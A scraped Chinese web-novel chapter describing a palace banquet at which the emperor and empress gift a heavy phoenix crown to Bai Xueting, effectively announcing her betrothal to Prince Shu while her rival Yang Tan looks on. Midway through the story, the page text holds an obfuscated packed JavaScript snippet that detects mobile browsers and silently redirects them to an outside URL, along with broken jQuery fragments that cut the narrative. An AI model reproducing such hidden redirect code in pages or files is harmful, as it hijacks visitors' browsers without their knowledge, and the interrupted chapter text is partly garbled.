默认冷灰
24号文字
方正启体

16. 青女过长安(十六)

作者:瑞羽长离本书字数:K更新时间:
    九尺高的山石之后,杨谈慢慢抬步走出来,冷冷扫了白雪亭一眼。


    她一只手还搭在舒王腰侧,五指掐着亲王服制上的金线蛟龙。舒王没用力推她,因而远远看过去,她还是倚在他肩头的那副姿态。


    湖蓝天青,山拥了水,水痴恋山,倒真是一对天造地设的鸳鸯。


    只见杨谈朝舒王一揖,淡声道:“不巧路过,打扰二位了。”


    白雪亭压下心头一丝窘迫,立刻反唇相讥:


    “那你还站在这里?是不是太不识相?”


    杨谈嗤笑:“你都好意思干了,还怕让人看?”


    “我倒是不知杨大人有此等爱好。先是放鹤楼,如今又是崇华亭,难道来日清岩纳我为妃,你还要守在舒王府婚房不成?”


    舒王立刻打断她:“雪亭!”


    杨谈被她几句话说得脸色青白,好一阵没搭上话来。


    白雪亭也意识到不妥,但说出去的话泼出去的水,她还没有那根“羞怯避讳”的筋。


    三人僵持良久,舒王正要打圆场,却见杨谈退后半步,寒声道:


    “那臣恭祝王妃与殿下琴瑟和鸣。”


    说罢,他目视白雪亭,讥讽道:“你最好早日如愿,沾上李惜文的喜气。”


    “不劳费心。”白雪亭硬生生刺了回去。


    舒王上前半步,将白雪亭挡在身后,他始终温和,对杨谈道:


    “宴席将要开场了,行嘉不如先去丽正殿入座吧。”


    白雪亭变本加厉地挑衅,明目张胆挽上舒王臂弯。


    杨谈再不多留,撂下一句“臣告辞”便拂袖离去。


    待那墨蓝身影远去,舒王方轻轻将白雪亭的手拨开,无奈道:“你就非得气他?”


    白雪亭嗤道:“看不惯他那尖酸刻薄的样子,甩脸给谁看呢?”


    “你啊,当年行嘉对你也算事事周全……”


    眼见舒王又要和稀泥打圆场,白雪亭忙捂住耳朵:“殿下,你说了不跟我提杨行嘉的!”


    舒王一噎:“我答应你了吗?”


    白雪亭双目一横:“殿下要拒绝我?”


    舒王拿她实在没办法,只得道:“好吧,不提。”


    得了这句话,她才展颜一笑,俏生生道:“走吧,我们也去丽正殿。”


    白雪亭与舒王相携走进殿内,还没落座就闻得轻佻的一声:


    “哎呀,这么些年,清岩总算盼到佳人回京,眼下同进同出,可不避人了。”


    白雪亭刚要开口,舒王立刻抬手拦着她,抢先道:


    “二哥莫要拿我开玩笑了。”


    说话那人一身赤红蟒袍,支起左腿坐着,左手搭在膝盖上,食指挑了个酒壶,眼角向上吊起,天赐一段浪荡。


    正是皇二子,一点儿也不端正的端王傅澹。


    理所当然,端王也和白雪亭结过仇。


    放眼望去,在座宾客简直集齐了她的小仇大仇和血海深仇。


    因为替郭十二郎狡辩,被她当胸踹了一脚的郭家老九;骂她是山野丫头,被郭询赏了一顿竹板的端王与广平公主。


    杨行嘉就不提了。


    今天惜文在,清岩也在,白雪亭无意闹事。


    她先跟着舒王一道,对主位上的太子与惜文行过礼。


    太子傅泽没有继承郭询的美艳,反而生得很老实,方脸厚嘴唇,勉强算周正。


    “不用多礼了,今日小宴而已。都是同龄人,大家切莫拘束。”


    太子呵呵笑道:“雪亭妹妹,你就坐清岩边上。”


    虽说小宴而已,但到底设在东宫,座席大有讲究。


    主位之下,左右首席是端王与舒王,端王身旁是王妃韦云芝。


    那有资格坐舒王身侧的,自是准舒王妃。


    再往后,韦妃下首是广平公主傅南珠。南珠殿下不当心和白雪亭对上眼神,当即冷哼一声移开脸。


    南珠又不敢真惹毛她,也就只能使点小脸色。挠痒痒似的,白雪亭浑不在意。


    坐在白雪亭下首的,则是永嘉公主傅源,小名锦绸。


    锦绸与她同岁,性情素来和顺,见她坐过来,小声道:“雪亭,好久不见。”


    白雪亭遇弱则弱,亦和缓回:“永嘉殿下安好。”


    废贤妃所出的一子一女没来。


    再往下是诸臣座席。


    不巧,小仇人南珠边上坐的就是她的血海深仇,杨行嘉杨指挥使。


    杨谈一尊杀神似的坐在那儿。才和白雪亭打了一通嘴仗,一败涂地,现下冷着脸目不斜视,任谁也不敢搭话。


    白雪亭和舒王来得最晚,太子没脾气,不同他们计较。见他二人相继落座后,太子殿下方举了杯。


    结果祝酒词还没说出半句,便听见拖了长音的禀报声:


    “圣人皇后到——”


    这可真是出其不意,满殿人都愣住了。


    太子连忙上前,领着众人下跪叩首,山呼万岁千秋。


    白雪亭也奇怪呢。


    自内乱之后,国库不丰,连圣人万寿与皇后千秋都只是简办,太子与诸王寿宴更是只能小聚。


    多少年了,除去逢五逢十的年纪,帝后都是不会出席子女生辰的。


    更别说这几年圣人沉迷佛道,连朝会和奏章都懒怠了。


    什么风把这位从神龙寺吹出来了?


    太子与惜文匆匆让出主位,在一旁设两张陪席。


    “诸卿请起吧。”出声的是郭询。


    白雪亭余光瞟了一眼,圣人身上仍是那件松垮的半袈裟半龙袍。郭询也并未大妆,织金大袖衫配铁锈红长裙,霞色披帛迤逦垂着。


    郭询凤目扫向惜文:


    “今天本宫与圣人来丽正殿,是想给小皇孙赠一件礼物。”


    惜文正要起身谢恩。


    圣人忽道:“哎,坐下。双身子的人,何必跟爹娘那么客气?”


    他手里照旧拿了串碧幽幽的珠子,拇指一颗颗拨过去,懒洋洋斜靠在座位上,道:


    “诸卿不必紧张,朕与皇后就是来看看孩子们,也不用饭,送过礼就走了。”


    郭询身后,碧梧双手奉着金漆托盘,上头是一尊通体冰透的玉观音,惟在莲台飘了一抹金丝绿。


    “今年骠国进贡一块足有百斤的翠石,剥了皮后通体冰莹洁白,一痕碧绿贯穿,漂亮得百年难遇!”


    南珠目光盯住那尊观音不放,骄声道:“这就是那块翠石上顶好的料子制成的吧!”


    圣人点头:“嗯,南珠识货。”


    惜文怀着孕可以不跪,太子却忙跪下:“儿谢过爹娘恩赐。”


    “你二人举案齐眉,子嗣繁盛,就是对爹娘最好的报答了。”圣人拨着珠子道,“起来吧。”


    郭询端着庄重笑面,又赐了一对碧色平安扣给端王夫妻。


    但接下来,却不是舒王。


    圣人呵呵笑道:“南珠等急了?”


    南珠被说中心事,大方承认:“女儿素来喜欢这些漂亮首饰摆件,爹娘又不是不晓得。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448361|168939||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    郭询淡笑,各赠一对白玉绞丝手镯给两位公主。


    端王大剌剌坐着,一副喝多了酒的死样,大着舌头道:


    “怎的清岩没有?爹娘可不能忘了他啊!”


    圣人朗笑:“自是不会。不过呢,朕倒不想先赏清岩。”


    原本坐着看戏的白雪亭忽而心念一动。


    不出所料,郭询马上唤她:


    “雪亭,上前来。”


    端王轻佻“哟”了声:“看来是要先给准儿媳啊!”


    满殿人心照不宣地陪笑。


    独杨谈笑得勉强又虚伪,他边上的沈谙更是笑得干巴巴。


    沈谙凑过来,嘴唇不动,低声暗道:


    “哈哈,帝后金口玉言,看来是尘埃落定了呢。”


    杨谈忍住往他脸上泼酒的冲动,仰头一饮而尽。


    白雪亭跪到郭询跟前儿,脑袋上忽地一重——


    郭询赏了她一座鎏金点翠花冠。


    “恰好,和你今日的衣裳很搭。”郭询亲手为她整理鬓发。


    白雪亭心下也随着脑袋一沉。


    凭重量她就能分辨出来,这绝非平日能戴出去的花冠,只重要场合撑撑场面而已。


    她十七了,最重要的场合,自然是成婚。


    今日太子寿宴,帝后皆在,赏了一圈子女媳妇,和她。


    几乎是昭告长安,她白雪亭是板上钉钉的舒王妃。


    汲汲营营这么久的事情定了下来,白雪亭心里却很复杂。


    开心吗?好像有一点。毕竟舒王真的对她很好很好。


    可是开心过了,仿佛剩下更多的,是一阵空茫。


    白雪亭头戴花冠坐回席位,只觉得脖子好酸。


    尔后舒王出列,许是体谅他将纳妃,帝后赏赐的东西报了一长串,俨然要越过主角太子。


    不过白雪亭都无意去听了,她呆望眼前一盏清酒,缓缓举起杯盏,嗅到浓烈酒香。


    她仰头,喝了干净。


    锦绸细声道:“雪亭,你以后,就是我三嫂了吗?”


    白雪亭轻笑:“应该是吧。”


    锦绸一喜,接着小声道:“太好了,我喜欢你当我嫂嫂。”


    白雪亭微讶,她和锦绸并不算很熟。


    锦绸却对她眨眨眼,道:“其实郭十二郎也私下扯过我的裙子,一件齐胸的裙子。他是皇后的侄子,我不敢说。听说你把他打得牙都掉了八颗,我好佩服你。”


    她说得很真诚。


    白雪亭油然生出一股责任感,对锦绸重重一点头:


    “分内之事。”


    锦绸掩唇轻笑。


    帝后匆匆而来,匆匆而去。席上没了这两位,又喧闹起来。


    白雪亭脖子上顶了块石头似的,实在累得慌,忍不住低声对舒王道:“有点重,我可以摘下来吗?”


    舒王温声道:“你别动,我帮你。”


    他微凉的手指在她浓密发间穿梭,不出半刻,就将那顶花冠拆了下来,白雪亭的发髻依然整整齐齐。


    主位上,惜文与白雪亭对上眼神。素来温婉的太子妃娘娘狡黠一笑,白雪亭脑子里那根名叫“羞怯”的筋此刻才长出来。


    她瞥见身边傅清岩温和的侧脸,忍不住想:


    从今往后,就是他了。


    原来要嫁给意中人之前,其实是很迷茫的。


    白雪亭懵懂抬起头,天不时地不利,杨行嘉竟在看她。


    她气焰尽消,莫名心虚,第一反应竟然是躲。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)